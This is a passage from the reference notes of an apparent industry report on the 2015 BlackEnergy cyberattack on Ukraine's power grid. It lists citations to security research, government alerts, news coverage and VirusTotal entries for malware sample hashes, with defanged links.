June 1, +2016, accessed July 12, 2016, hxxps://cys-centrum.com/ru/news/black_energy_2_3. +Blake Sobczak and Peter Behr, +Inside the diabolical Ukrainian hack that put the U.S. grid on high alert, + Environment & +Energy Publishing, July 18, 2016, accessed July 21, 2016, hxxp://archive.is/lnnBf. +Robert M. Lee, Michael J. Assante, and Tim Conway, +Analysis of the Cyber Attack on the Ukrainian Power Grid Defense +Use Case, + SANS Institute and Electricity Information Sharing and Analysis Center, March 18, 2016, accessed July 12, 2016, +hxxps://ics.sans.org/media/E-ISAC_SANS_Ukraine_DUC_5.pdf. +IR-ALERT-H-16-043-01AP Cyber-Attack Against Ukrainian Critical infrastructure, + US Department of Homeland Security +Industrial Control System Computer Emergency Response Team, March 7, 2016, accessed July 12, 2016, hxxps://info.publicintelligence.net/NCCIC-UkrainianPowerAttack.pdf. +Blackenergy & Quedagh: The convergence of crimeware and APT attacks, + F-Secure Labs Security Response, accessed July 12, +2016, hxxps://www.f-secure.com/documents/996508/1030745/blackenergy_whitepaper.pdf. +Robert Lipovsky and Anton Cherapanov, +Last-minute paper: Back in BlackEnergy: 2014 targeted attacks in the Ukraine +and Poland , + Virus Bulletin, September 25, 2015, accessed July 12, 2016, hxxps://www.virusbulletin.com/conference/vb2014/ +abstracts/back-blackenergy-2014-targeted-attacks-ukraine-and-poland. + BlackEnergy2/3. + Cys-Centrum, June 1, +2016, accessed August 15, 2016, hxxp://cys-centrum.com/ru/news/black_energy_2_3. +Kyle Wilhoit, +KillDisk and BlackEnergy Are Not Just Energy Sector Threats, + Trend Micro, February 11, 2016, accessed July 20, +2016, hxxp://blog.trendmicro.com/trendlabs-security-intelligence/killdisk-and-blackenergy-are-not-just-energy-sector-threats/. + BlackEnergy2/3. + Cys-Centrum, June 1, +2016, accessed August 15, 2016, hxxp://cys-centrum.com/ru/news/black_energy_2_3. +Ibid. +Ibid. +Ibid. +Ibid. +Stephen Ward, +iSIGHT discovers zero-day vulnerability CVE-2014-4114 used in Russian cyber-espionage campaign, + iSightPartners, October 14, 2014, accessed August 15, 2016, hxxps://www.isightpartners.com/2014/10/cve-2014-4114/. + BlackEnergy2/3. + Cys-Centrum, June 1, +2016, accessed August 15, 2016, hxxp://cys-centrum.com/ru/news/black_energy_2_3. +Stephen Ward, +iSIGHT discovers zero-day vulnerability CVE-2014-4114 used in Russian cyber-espionage campaign, + iSightPartners, October 14, 2014, accessed August 15, 2016, hxxps://www.isightpartners.com/2014/10/cve-2014-4114/. + BlackEnergy2/3. + Cys-Centrum, June 1, +2016, accessed August 15, 2016, hxxp://cys-centrum.com/ru/news/black_energy_2_3. +Ibid. +boozallen.com/ics +Booz Allen Hamilton +Ibid. +Ibid. +Ibid. + Black Energy, + CERT-UA, September 11, 2012, accessed July 19, 2016, hxxp://cert. +gov.ua/?p=2370. +Aleksey Yasinskiy, +DISMANTLING BLACKENERGY, PART 3 + ALL ABOARD! + SOCPrime, March 29, 2016, accessed August +19, 2016, hxxps://socprime.com/en/blog/dismantling-blackenergy-part-3-all-aboard/. +Kyle Wilhoit, +KillDisk and BlackEnergy Are Not Just Energy Sector Threats, + Trend Micro, February 11, 2016, accessed July 20, +2016, hxxp://blog.trendmicro.com/trendlabs-security-intelligence/killdisk-and-blackenergy-are-not-just-energy-sector-threats/. +Ibid. + 19-20 + 2016 + Cys-Centrum, January 29, 2016, accessed +August 22, 2016, hxxps://cys-centrum.com/ru/news/attack_on_energy_facilities_jan_ps. +Robert Lipovsky, +New wave of cyberattacks against Ukrainian power industry, + We Live Security, January 20, 2016, accessed +August 22, 2016, hxxp://www.welivesecurity.com/2016/01/20/new-wave-attacks-ukrainian-power-industry/. + 19-20 + 2016 + Cys-Centrum, January 29, 2016, accessed +August 22, 2016, hxxps://cys-centrum.com/ru/news/attack_on_energy_facilities_jan_ps. +Ibid. +Russian Hackers plan energy subersion in Ukraine, + Ukrinform, December 28, 2015, accessed July 19, 2016, +hxxp://www.ukrinform.net/rubric-crime/1937899-russian-hackers-plan-energy-subversion-in-ukraine.html. +Pavel Polityuk, +Ukraine sees Russian hand in cyber attacks on power grid, + Reuters, February 12, 2016, accessed August 22, +2016, hxxp://www.reuters.com/article/us-ukraine-cybersecurity-idUSKCN0VL18E. +Jose Nazario, +BlackEnergy DDoS Bot + Analysis Available, + Arbor Networks, October 12, 2007, accessed July 14, 2016, +hxxps://www.arbornetworks.com/blog/asert/blackenergy-ddos-bot-analysis-available/. +Kelly Jackson Higgins, +New BlackEnergy Trojan Targeting Russian, Ukrainian Banks, + DarkReading, March 4, 2010, accessed +July 14, 2016, hxxp://www.darkreading.com/vulnerabilities---threats/new-blackenergy-trojan-targeting-russian-ukrainian-ban +ks/d/d-id/1133120. +Brian Prince, +Russian Banking Trojan BlackEnergy 2 Unmasked at RSA, + eWeek, March 4, 2010, accessed July 14, 2016, +hxxp://www.eweek.com/c/a/Security/Russian-Banking-Trojan-BlackEnergy-2-Unmasked-at-RSA-883053. +Brian Prince, +Security Researcher Asserts Russian Role in Georgia Cyber-attacks, + eWeek, August 13, 2008, accessed July 14, +2016, hxxp://www.eweek.com/c/a/Security/Security-Researcher-Asserts-Russian-Role-in-Georgia-Cyber-Attacks. +John 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Assante and Robert M. Lee, + The Industrial Control System Cyber Kill Chain, + SANS Institute, October 2015, +accessed July 12, 2016, hxxps://www.sans.org/reading-room/whitepapers/ICS/industrial-control-system-cyber-kill-chain-36297. +GReAT, +BlackEnergy APT Attacks in Ukraine employ spearphishing with Word documents, +SecureList, January 28, 2016, accessed July 12, 2016, hxxps://securelist.com/blog/research/73440/ +blackenergy-apt-attacks-in-ukraine-employ-spearphishing-with-word-documents/. +Udi Shamir, +Analyzing a New Variant of BlackEnergy 3 Likely Insider-Based Execution, + SentinelOne, 2016, accessed July 12, +2016, hxxps://www.sentinelone.com/wp-content/uploads/2016/01/BlackEnergy3_WP_012716_1c.pdf. +Robert Lipovsky and Anton Cherapanov, +Last-minute paper: Back in BlackEnergy: 2014 targeted attacks in the Ukraine +and Poland, + Virus Bulletin, September 25, 2015, accessed July 12, 2016, hxxps://www.virusbulletin.com/conference/vb2014/ +abstracts/back-blackenergy-2014-targeted-attacks-ukraine-and-poland. +Blackenergy & Quedagh: The convergence of crimeware and APT attacks, + F-Secure Labs Security Response, accessed July 12, +2016, hxxps://www.f-secure.com/documents/996508/1030745/blackenergy_whitepaper.pdf. +Ibid. +Pavel Polityuk, +Ukraine sees Russian hand in cyber attacks on power grid, + Reuters, February 12, 2016, accessed August 22, +2016, hxxp://www.reuters.com/article/us-ukraine-cybersecurity-idUSKCN0VL18E. +IR-ALERT-H-16-043-01AP Cyber-Attack Against Ukrainian Critical Infrastructure, + US Department of Homeland Security +Industrial Control System Computer Emergency Response Team, March 7, 2016, accessed July 12, 2016, hxxps://info.publicintelligence.net/NCCIC-UkrainianPowerAttack.pdf. +Robert M. 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Assante, and Tim Conway, +Analysis of the Cyber Attack on the Ukrainian Power Grid Defense +Use Case, + SANS Institute and Electricity Information Sharing and Analysis Center, March 18, 2016, accessed July 12, 2016, +hxxps://ics.sans.org/media/E-ISAC_SANS_Ukraine_DUC_5.pdf. +117. +Kim Zetter, +Inside the Cunning Unprecedented Hack of Ukraine +s Power Grid, + Wired, March 3, 2016, accessed July 13, 2016, +hxxps://www.wired.com/2016/03/inside-cunning-unprecedented-hack-ukraines-power-grid/. +118. +Michael J. Assante and Robert M. Lee, + The Industrial Control System Cyber Kill Chain, + SANS Institute, October 2015, +accessed July 12, 2016, hxxps://www.sans.org/reading-room/whitepapers/ICS/industrial-control-system-cyber-kill-chain-36297. +119. +Kim Zetter, +Inside the Cunning Unprecedented Hack of Ukraine +s Power Grid, + Wired, March 3, 2016, accessed July 13, 2016, +hxxps://www.wired.com/2016/03/inside-cunning-unprecedented-hack-ukraines-power-grid/. +120. +IR-ALERT-H-16-043-01AP Cyber-Attack Against Ukrainian Critical Infrastructure, + US Department of Homeland Security +Industrial Control System Computer Emergency Response Team, March 7, 2016, accessed July 12, 2016, hxxps://info.publicintelligence.net/NCCIC-UkrainianPowerAttack.pdf. +121. +Robert M. Lee, Michael J. Assante, and Tim Conway, +Analysis of the Cyber Attack on the Ukrainian Power Grid Defense +Use Case, + SANS Institute and Electricity Information Sharing and Analysis Center, March 18, 2016, accessed July 12, 2016, +hxxps://ics.sans.org/media/E-ISAC_SANS_Ukraine_DUC_5.pdf. +122. +Ibid. +123. +Kim Zetter, +Inside the Cunning Unprecedented Hack of Ukraine +s Power Grid, + Wired, March 3, 2016, accessed July 13, 2016, +hxxps://www.wired.com/2016/03/inside-cunning-unprecedented-hack-ukraines-power-grid/. +124. +Dragonfly: Western Energy Companies Under Sabotage Threat, + Symantec, June 30, 2014, accessed July 14, 2016, hxxp:// +www.symantec.com/connect/blogs/dragonfly-western-energy-companies-under-sabotage-threat. +125. +Michael J. Assante and Robert M. Lee, + The Industrial Control System Cyber Kill Chain, + SANS Institute, October 2015, +accessed July 12, 2016, hxxps://www.sans.org/reading-room/whitepapers/ICS/industrial-control-system-cyber-kill-chain-36297. +126. Ibid. +127. +Robert M. Lee, Michael J. Assante, and Tim Conway, +Analysis of the Cyber Attack on the Ukrainian Power Grid Defense +Use Case, + SANS Institute and Electricity Information Sharing and Analysis Center, March 18, 2016, accessed July 12, 2016, +hxxps://ics.sans.org/media/E-ISAC_SANS_Ukraine_DUC_5.pdf. +128. Ibid. +129. + Black Energy, + CERT-UA, September 11, 2015, accessed July 13, 2016, hxxp:// +cert.gov.ua/?p=2370. +130. +Robert Lipovsky and Anton Cherepanov, +BlackEnergy trojan strikes again: Attacks Ukrainian electric power +industry, + welivesecurity, January 4, 2016, accessed July 12, 2016, hxxp://www.welivesecurity.com/2016/01/04/ +blackenergy-trojan-strikes-again-attacks-ukrainian-electric-power-industry/. +131. +Aleksey Yasinskiy, +DISMANTLING BLACKENERGY, PART 3 + ALL ABOARD! + SOCPrime, March 29, 2016, accessed August +19, 2016, hxxps://socprime.com/en/blog/dismantling-blackenergy-part-3-all-aboard/. +132. +Ibid. +133. +Kim Zetter, +Inside the Cunning Unprecedented Hack of Ukraine +s Power Grid, + Wired, March 3, 2016, accessed July 13, 2016, +hxxps://www.wired.com/2016/03/inside-cunning-unprecedented-hack-ukraines-power-grid/. +134. +IR-ALERT-H-16-043-01AP Cyber-Attack Against Ukrainian Critical Infrastructure, + US Department of Homeland Security +Industrial Control System Computer Emergency Response Team, March 7, 2016, accessed July 12, 2016, hxxps://info.publicintelligence.net/NCCIC-UkrainianPowerAttack.pdf. +135. +Aleksey Yasinskiy, +DISMANTLING BLACKENERGY, PART 3 + ALL ABOARD! + SOCPrime, March 29, 2016, accessed August +19, 2016, hxxps://socprime.com/en/blog/dismantling-blackenergy-part-3-all-aboard/. +136. Ibid. +137. +IR-ALERT-H-16-043-01AP Cyber-Attack Against Ukrainian Critical Infrastructure, + US Department of Homeland Security +Industrial Control System Computer Emergency Response Team, March 7, 2016, accessed July 12, 2016, hxxps://info.publicintelligence.net/NCCIC-UkrainianPowerAttack.pdf. +138. +Ibid. +139. Ibid. +140. Kim Zetter, +Inside the Cunning Unprecedented Hack of Ukraine +s Power Grid, + Wired, March 3, 2016, accessed July 13, 2016, +hxxps://www.wired.com/2016/03/inside-cunning-unprecedented-hack-ukraines-power-grid/. +141. +IR-ALERT-H-16-043-01AP Cyber-Attack Against Ukrainian Critical Infrastructure, + US Department of Homeland Security +Industrial Control System Computer Emergency Response Team, March 7, 2016, accessed July 12, 2016, hxxps://info.publicintelligence.net/NCCIC-UkrainianPowerAttack.pdf. +142. +Ibid. +143. +UPS Network Management Cards, + Schneider Electric, accessed July 13, 2016, hxxp://www.schneider-electric.com/en/ +product-range/61936-ups-network-management-cards/. +144. +Vulnerability Note VU#166739APC Network Management Card web interface vulnerable to cross-site scripting and cross-site +request forgery, + Carnegie Mellon University Computer Emergency Response Team, February 24, 2010, modified April 29, +2010, accessed July 13, 2016, hxxps://www.kb.cert.org/vuls/id/166739. +145. +IR-ALERT-H-16-043-01AP Cyber-Attack Against Ukrainian Critical Infrastructure, + US Department of Homeland Security +Industrial Control System Computer Emergency Response Team, March 7, 2016, accessed July 12, 2016, hxxps://info.publicintelligence.net/NCCIC-UkrainianPowerAttack.pdf. +146. Kim Zetter, +Inside the Cunning Unprecedented Hack of Ukraine +s Power Grid, + Wired, March 3, 2016, accessed July 13, 2016, +hxxps://www.wired.com/2016/03/inside-cunning-unprecedented-hack-ukraines-power-grid/. +147. +IR-ALERT-H-16-043-01AP Cyber-Attack Against Ukrainian Critical Infrastructure, + US Department of Homeland Security +Industrial Control System Computer Emergency Response Team, March 7, 2016, accessed July 12, 2016, hxxps://info.publicintelligence.net/NCCIC-UkrainianPowerAttack.pdf. +148. Ibid. +149. Robert M Lee, +Confirmation of a Coordinated Attack on the Ukrainian Power Grid, + SANS, January 9, 2016 hxxps://ics.sans. +org/blog/2016/01/09/confirmation-of-a-coordinated-attack-on-the-ukrainian-power-grid. +Booz Allen Hamilton +150. +IR-ALERT-H-16-043-01AP Cyber-Attack Against Ukrainian Critical Infrastructure, + US Department of Homeland Security +Industrial Control System Computer Emergency Response Team, March 7, 2016, accessed July 12, 2016, hxxps://info.publicintelligence.net/NCCIC-UkrainianPowerAttack.pdf. +151. +Jose Pagliery, +Scary questions in Ukraine energy grid hack, + CNN Money, January 18, 2016, accessed July 13, 2016, hxxp:// +money.cnn.com/2016/01/18/technology/ukraine-hack-russia/. +152. +Robert M Lee, +Confirmation of a Coordinated Attack on the Ukrainian Power Grid, + SANS, January 9, 2016 hxxps://ics.sans. +org/blog/2016/01/09/confirmation-of-a-coordinated-attack-on-the-ukrainian-power-grid. +153. +Robert M. Lee, Michael J. Assante, and Tim Conway, +Analysis of the Cyber Attack on the Ukrainian Power Grid Defense +Use Case, + SANS Institute and Electricity Information Sharing and Analysis Center, March 18, 2016, accessed July 12, 2016, +hxxps://ics.sans.org/media/E-ISAC_SANS_Ukraine_DUC_5.pdf. +154. +Rich Heidorn, +How a +Phantom Mouse + and Weaponized Excel Files Brought Down Ukraine +s Grid, + March 28, 2016, hxxp:// +www.rtoinsider.com/nerc-phantom-mouse-cyberattack-24232/. +155. +Ellen Nakashima, +Russian hackers suspected in attack that blacked out parts of Ukraine, + Washington Post, January 5, 2016, +accessed July 14, 2016, hxxps://www.washingtonpost.com/world/national-security/russian-hackers-suspected-in-attack-thatblacked-out-parts-of-ukraine/2016/01/05/4056a4dc-b3de-11e5-a842-0feb51d1d124_story.html. +156. +IR-ALERT-H-16-043-01AP Cyber-Attack Against Ukrainian Critical Infrastructure, + US Department of Homeland Security +Industrial Control System Computer Emergency Response Team, March 7, 2016, accessed July 12, 2016, hxxps://info.publicintelligence.net/NCCIC-UkrainianPowerAttack.pdf. +157. +Kim Zetter, +Inside the Cunning Unprecedented Hack of Ukraine +s Power Grid, + Wired, March 3, 2016, accessed July 13, 2016, +hxxps://www.wired.com/2016/03/inside-cunning-unprecedented-hack-ukraines-power-grid/. +158. +IR-ALERT-H-16-043-01AP Cyber-Attack Against Ukrainian Critical Infrastructure, + US Department of Homeland Security +Industrial Control System Computer Emergency Response Team, March 7, 2016, accessed July 12, 2016, hxxps://info.publicintelligence.net/NCCIC-UkrainianPowerAttack.pdf. +159. +Ibid. +160. +Vulnerability Summary for CVE-2014-6271, + National Vulnerability Database, September 24, 2014, modified June 28, 2016, +accessed July 14, 2016, hxxps://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-6271. +161. +Vulnerability Summary for CVE-2014-7186, + National Vulnerability Database, September 28, 2014, modified October 9, 2015, +accessed July 14, 2016, hxxps://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-7186. +162. +Vulnerability Summary for CVE-2014-7187, + National Vulnerability Database, September 28, 2014, modified October 9, 2015, +accessed July 14, 2016, hxxps://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-7187. +163. +Vulnerability Summary for CVE-2014-6277, + National Vulnerability Database, September 28, 2014, modified October 9, 2015, +accessed July 14, 2016, hxxps://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-6277. +164. +Vulnerability Summary for CVE-2014-6278, + National Vulnerability Database, September 30, 2014, modified June 14, 2016, +accessed July 14, 2016, hxxps://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-6278. +165. +Advisory (ICSA-16-138-01) IRZ RUH2 3G Firmware Overwrite Vulnerability, + US Department of Homeland Security +Industrial computer Emergency Response Team, May 17, 2016, accessed July 14, 2016, hxxps://ics-cert.us-cert.gov/advisories/ +ICSA-16-138-01. +166. +IR-ALERT-H-16-043-01AP Cyber-Attack Against Ukrainian Critical Infrastructure, + US Department of Homeland Security +Industrial Control System Computer Emergency Response Team, March 7, 2016, accessed July 12, 2016, hxxps://info.publicintelligence.net/NCCIC-UkrainianPowerAttack.pdf. +167. +Kim Zetter, +Inside the Cunning Unprecedented Hack of Ukraine +s Power Grid, + Wired, March 3, 2016, accessed July 13, 2016, +hxxps://www.wired.com/2016/03/inside-cunning-unprecedented-hack-ukraines-power-grid/. +168. +The Surging Threat of Telephony Denial of Service Attacks, + SecureLogix, Ocotber 21, 2014, accessed July 13, 2016, hxxp:// +www.cisco.com/c/dam/en/us/products/collateral/unified-communications/unified-border-element/tdos_brochure.pdf. +169. +IR-ALERT-H-16-043-01AP Cyber-Attack Against Ukrainian Critical Infrastructure, + US Department of Homeland Security +Industrial Control System Computer Emergency Response Team, March 7, 2016, accessed July 12, 2016, hxxps://info.publicintelligence.net/NCCIC-UkrainianPowerAttack.pdf. +170. Kim Zetter, +Inside the Cunning Unprecedented Hack of Ukraine +s Power Grid, + Wired, March 3, 2016, accessed July 13, 2016, +hxxps://www.wired.com/2016/03/inside-cunning-unprecedented-hack-ukraines-power-grid/. +171. +Robert M. Lee, Michael J. Assante, and Tim Conway, +Analysis of the Cyber Attack on the Ukrainian Power Grid Defense +Use Case, + SANS Institute and Electricity Information Sharing and Analysis Center, March 18, 2016, accessed July 12, 2016, +hxxps://ics.sans.org/media/E-ISAC_SANS_Ukraine_DUC_5.pdf. +boozallen.com/ics +172. +The Surging Threat of Telephony Denial of Service Attacks, + SecureLogix, Ocotber 21, 2014, accessed July 13, 2016, hxxp:// +www.cisco.com/c/dam/en/us/products/collateral/unified-communications/unified-border-element/tdos_brochure.pdf. +173. +Ibid. +174. +TDoS Attacks on Public Safety Communications, + Cook County Department of Homeland Security Emergency +Management, March 16, 2013, accessed July 13, 2016, hxxp://krebsonsecurity.com/wp-content/uploads/2013/04/DHSEM-16SAU-01-LEO.pdf. +175. +Ibid. +176. +IR-ALERT-H-16-043-01AP Cyber-Attack Against Ukrainian Critical Infrastructure, + US Department of Homeland Security +Industrial Control System Computer Emergency Response Team, March 7, 2016, accessed July 12, 2016, hxxps://info.publicintelligence.net/NCCIC-UkrainianPowerAttack.pdf. +177. +Ibid. +178. + Black Energy, + CERT-UA, September 11, 2015, accessed July 19, 2016, hxxp:// +cert.gov.ua/?p=2370. +179. Ibid. +180. +052ebc9a518e5ae02bbd1bd3a5a86c3560aefc9313c18d81f6670c3430f1d4d4, + Virus Total, July 6, 2016, accessed July 15, 2016, +hxxps://www.virustotal.com/en/file/052ebc9a518e5ae02bbd1bd3a5a86c3560aefc9313c18d81f6670c3430f1d4d4/analysis/. +181. +Ibid. +182. +Ibid. +183. +Ibid. +184. +Analysis Report, + joeSandboxCloud, accessed July 12, 2016, hxxps://www.document-analyzer.net/analysis/4073/16856/0/ +html. +185. +052ebc9a518e5ae02bbd1bd3a5a86c3560aefc9313c18d81f6670c3430f1d4d4, + Virus Total, July 6, 2016, accessed July 15, 2016, +hxxps://www.virustotal.com/en/file/052ebc9a518e5ae02bbd1bd3a5a86c3560aefc9313c18d81f6670c3430f1d4d4/analysis/. +186. Ibid. +187. +Robert M Lee, +Potential Sample of Malware from the Ukrainian Cyber Attack Uncovered, +SANS Institute, January 1, 2016, accessed July 15, 2016, hxxps://ics.sans.org/blog/2016/01/01/ +potential-sample-of-malware-from-the-ukrainian-cyber-attack-uncovered. +188. Udi Shamir, +Analyzing a New Variant of BlackEnergy 3 Likely Insider-Based Execution, + SentinelOne, 2016, accessed July 12, +2016, hxxps://www.sentinelone.com/wp-content/uploads/2016/01/BlackEnergy3_WP_012716_1c.pdf. +189. +Malicious Code Analysis on Ukraine +s Power Grid Incident, + Beijing Knownsec Information Technology Co., Ltd., January 10, +2016, accessed July 12, 2016, hxxp://blog.knownsec.com/wp-content/uploads/2016/01/Malicious-Code-Analysis-on-UkrainesPower-Grid-Incident-L150113.pdf. +190. +39d04828ab0bba42a0e4cdd53fe1c04e4eef6d7b26d0008bd0d88b06cc316a81, + Virus Total, June 21, 2016, accessed July 15, +2016, hxxps://www.virustotal.com/en/file/39d04828ab0bba42a0e4cdd53fe1c04e4eef6d7b26d0008bd0d88b06cc316a81/ +analysis/. +191. +GReAT, +BlackEnergy APT Attacks in Ukraine employ spearphishing with Word documents, +SecureList, January 28, 2016, accessed July 12, 2016, hxxps://securelist.com/blog/research/73440/ +blackenergy-apt-attacks-in-ukraine-employ-spearphishing-with-word-documents/. +192. +39d04828ab0bba42a0e4cdd53fe1c04e4eef6d7b26d0008bd0d88b06cc316a81, + Virus Total, June 21, 2016, accessed July 15, +2016, hxxps://www.virustotal.com/en/file/39d04828ab0bba42a0e4cdd53fe1c04e4eef6d7b26d0008bd0d88b06cc316a81/ +analysis/. +Booz Allen Hamilton +193. Ibid. +194. Ibid. +195. Ibid. +196. GReAT, +BlackEnergy APT Attacks in Ukraine employ spearphishing with Word documents, +SecureList, January 28, 2016, accessed July 12, 2016, hxxps://securelist.com/blog/research/73440/ +blackenergy-apt-attacks-in-ukraine-employ-spearphishing-with-word-documents/. +197. +Ibid. +198. Udi Shamir, +Analyzing a New Variant of BlackEnergy 3 Likely Insider-Based Execution, + SentinelOne, 2016, accessed July 12, +2016, hxxps://www.sentinelone.com/wp-content/uploads/2016/01/BlackEnergy3_WP_012716_1c.pdf. +199. Ibid. +200. Ibid. +201. +Blackenergy & Quedagh: The convergence of crimeware and APT attacks, + F-Secure Labs Security Response, accessed July 12, +2016, hxxps://www.f-secure.com/documents/996508/1030745/blackenergy_whitepaper.pdf. +202. Ibid. +203. +Analysis Report, + joeSandboxCloud, accessed July 12, 2016, hxxps://www.document-analyzer.net/analysis/4073/16856/0/ +html. +204. Udi Shamir, +Analyzing a New Variant of BlackEnergy 3 Likely Insider-Based Execution, + SentinelOne, 2016, accessed July 12, +2016, hxxps://www.sentinelone.com/wp-content/uploads/2016/01/BlackEnergy3_WP_012716_1c.pdf. +205. +ca7a8180996a98e718f427837f9d52453b78d0a307e06e1866db4d4ce969d525, + Virus Total, June 21, 2016, accessed July 15, +2016, hxxps://www.virustotal.com/en/file/ca7a8180996a98e718f427837f9d52453b78d0a307e06e1866db4d4ce969d525/ +analysis/. +206. Ibid. +207. Ibid. +208. Ibid. +209. Ibid. +210. Ibid. +211. +07e726b21e27eefb2b2887945aa8bdec116b09dbd4e1a54e1c137ae8c7693660, + Virus Total, June 21, 2016, accessed July 15, 2016, +hxxps://www.virustotal.com/en/file/07e726b21e27eefb2b2887945aa8bdec116b09dbd4e1a54e1c137ae8c7693660/analysis/. +212. +Ibid. +213. +Ibid. +214. +Ibid. +215. +Ibid. +216. Ibid. +217. +07a76c1d09a9792c348bb56572692fcc4ea5c96a77a2cddf23c0117d03a0dfad, + Virus Total, June 21, 2016, accessed July 15, 2016, +hxxps://www.virustotal.com/en/file/07a76c1d09a9792c348bb56572692fcc4ea5c96a77a2cddf23c0117d03a0dfad/analysis/. +218. Ibid. +boozallen.com/ics +219. Ibid. +220. Ibid. +221. +Ibid. +222. +b90f268b5e7f70af1687d9825c09df15908ad3a6978b328dc88f96143a64af0f, + Virus Total, February 12, 2016, accessed July 15, +2016, hxxps://www.virustotal.com/en/file/b90f268b5e7f70af1687d9825c09df15908ad3a6978b328dc88f96143a64af0f/analysis/. +223. Ibid. +224. +Malicious Code Analysis on Ukraine +s Power Grid Incident, + Beijing Knownsec Information Technology Co., Ltd., January 10, +2016, accessed July 12, 2016, hxxp://blog.knownsec.com/wp-content/uploads/2016/01/Malicious-Code-Analysis-on-UkrainesPower-Grid-Incident-L150113.pdf. +225. +b90f268b5e7f70af1687d9825c09df15908ad3a6978b328dc88f96143a64af0f , + Virus Total, February 12, 2016, accessed July 15, +2016, hxxps://www.virustotal.com/en/file/b90f268b5e7f70af1687d9825c09df15908ad3a6978b328dc88f96143a64af0f/. +226. Ibid. +227. +Anton Cherepanov, +BlackEnergy by the SSHBearDoor: attacks against Ukrainian news media and electric +industry, + welivesecurity, January 3, 2016, accessed July 15, 2016, hxxp://www.welivesecurity.com/2016/01/03/ +blackenergy-sshbeardoor-details-2015-attacks-ukrainian-news-media-electric-industry/. +228. +Malicious Code Analysis on Ukraine +s Power Grid Incident, + Beijing Knownsec Information Technology Co., Ltd., January 10, +2016, accessed July 12, 2016, hxxp://blog.knownsec.com/wp-content/uploads/2016/01/Malicious-Code-Analysis-on-UkrainesPower-Grid-Incident-L150113.pdf. +229. Ibid. +230. Udi Shamir, +Analyzing a New Variant of BlackEnergy 3 Likely Insider-Based Execution, + SentinelOne, 2016, accessed July 12, +2016, hxxps://www.sentinelone.com/wp-content/uploads/2016/01/BlackEnergy3_WP_012716_1c.pdf. +231. +Blackenergy & Quedagh: The convergence of crimeware and APT attacks, + F-Secure Labs Security Response, accessed July 12, +2016, hxxps://www.f-secure.com/documents/996508/1030745/blackenergy_whitepaper.pdf. +232. +Ibid. +233. +Ibid. +234. Anton Cherepanov, +BlackEnergy by the SSHBearDoor: attacks against Ukrainian news media and electric +industry, + welivesecurity, January 3, 2016, accessed July 15, 2016, hxxp://www.welivesecurity.com/2016/01/03/ +blackenergy-sshbeardoor-details-2015-attacks-ukrainian-news-media-electric-industry/. +235. +Chintan Shah, +Evolving DDoS Botnets: 1. BlackEnergy, + McAfee Labs Blog, February 28, 2011, accessed July 19, 2016, +hxxps://blogs.mcafee.com/business/security-connected/evolving-ddos-botnets-1-blackenergy/. +236. Anton Cherepanov, +BlackEnergy by the SSHBearDoor: attacks against Ukrainian news media and electric +industry, + welivesecurity, January 3, 2016, accessed July 15, 2016, hxxp://www.welivesecurity.com/2016/01/03/ +blackenergy-sshbeardoor-details-2015-attacks-ukrainian-news-media-electric-industry/. +237. +Ibid. +238. Ibid. +239. +ef380e33a854ef9d9052c93fc68d133cfeaae3493683547c2f081dc220beb1b3, + Virus Total, June 21, 2016, accessed July 15, 2016, +hxxps://www.virustotal.com/en/file/ef380e33a854ef9d9052c93fc68d133cfeaae3493683547c2f081dc220beb1b3/analysis/. +240. Ibid. +241. +Booz Allen Hamilton +Ibid. +242. Ibid. +243. Ibid. +244. Ibid. +245. Ibid. +246. +f5785842682bc49a69b2cbc3fded56b8b4a73c8fd93e35860ecd1b9a88b9d3d8, + Virus Total, July 11, 2016, accessed July 15, 2016, +hxxps://www.virustotal.com/en/file/f5785842682bc49a69b2cbc3fded56b8b4a73c8fd93e35860ecd1b9a88b9d3d8/analysis/. +247. Ibid. +248. Ibid. +249. Ibid. +250. Ibid. +251. +Ibid. +252. +Ibid. +253. +244dd8018177ea5a92c70a7be94334fa457c1aab8a1c1ea51580d7da500c3ad5, + Virus Total, June 21, 2016, accessed July 15, 2016. +hxxps://www.virustotal.com/en/file/244dd8018177ea5a92c70a7be94334fa457c1aab8a1c1ea51580d7da500c3ad5/analysis/. +254. Ibid. +255. +Ibid. +256. Ibid. +257. +Ibid. +258. Ibid. +259. +0969daac4adc84ab7b50d4f9ffb16c4e1a07c6dbfc968bd6649497c794a161cd, + Virus Total, June 21, 2016, accessed July 15, +2016, hxxps://www.virustotal.com/en/file/0969daac4adc84ab7b50d4f9ffb16c4e1a07c6dbfc968bd6649497c794a161cd/ +analysis/. +260. Ibid. +261. Ibid. +262. Ibid. +263. Ibid. +264. Anton Cherepanov, +BlackEnergy by the SSHBearDoor: attacks against Ukrainian news media and electric +industry, + welivesecurity, January 3, 2016, accessed July 15, 2016, hxxp://www.welivesecurity.com/2016/01/03/ +blackenergy-sshbeardoor-details-2015-attacks-ukrainian-news-media-electric-industry/. +265. Anton Cherepanov, +BlackEnergy by the SSHBearDoor: attacks against Ukrainian news media and electric +industry, + welivesecurity, January 3, 2016, accessed July 15, 2016, hxxp://www.welivesecurity.com/2016/01/03/ +blackenergy-sshbeardoor-details-2015-attacks-ukrainian-news-media-electric-industry/. +266. +Malicious Code Analysis on Ukraine +s Power Grid Incident, + Beijing Knownsec Information Technology Co., Ltd., January 10, +2016, accessed July 12, 2016, hxxp://blog.knownsec.com/wp-content/uploads/2016/01/Malicious-Code-Analysis-on-UkrainesPower-Grid-Incident-L150113.pdf. +boozallen.com/ics +267. Robert M. Lee, Michael J. Assante, and Tim Conway, +Analysis of the Cyber Attack on the Ukrainian Power Grid Defense +Use Case, + SANS Institute and Electricity Information Sharing and Analysis Center, March 18, 2016, accessed July 12, 2016, +hxxps://ics.sans.org/media/E-ISAC_SANS_Ukraine_DUC_5.pdf. +268. Robert Lipovsky and Anton Cherepanov, +BlackEnergy trojan strikes again: Attacks Ukrainian electric power +industry, + welivesecurity, January 4, 2016, accessed July 12, 2016, hxxp://www.welivesecurity.com/2016/01/04/ +blackenergy-trojan-strikes-again-attacks-ukrainian-electric-power-industry/. +269. Kyle Wilhoit, +KillDisk and BlackEnergy Are Not Just Energy Sector Threats, + Trend Micro, February 11, 2016, accessed July 20, +2016, hxxp://blog.trendmicro.com/trendlabs-security-intelligence/killdisk-and-blackenergy-are-not-just-energy-sector-threats/. +270. +30862ab7aaa6755b8fab0922ea819fb48487c063bea4a84174afbbd65ce26b86, + 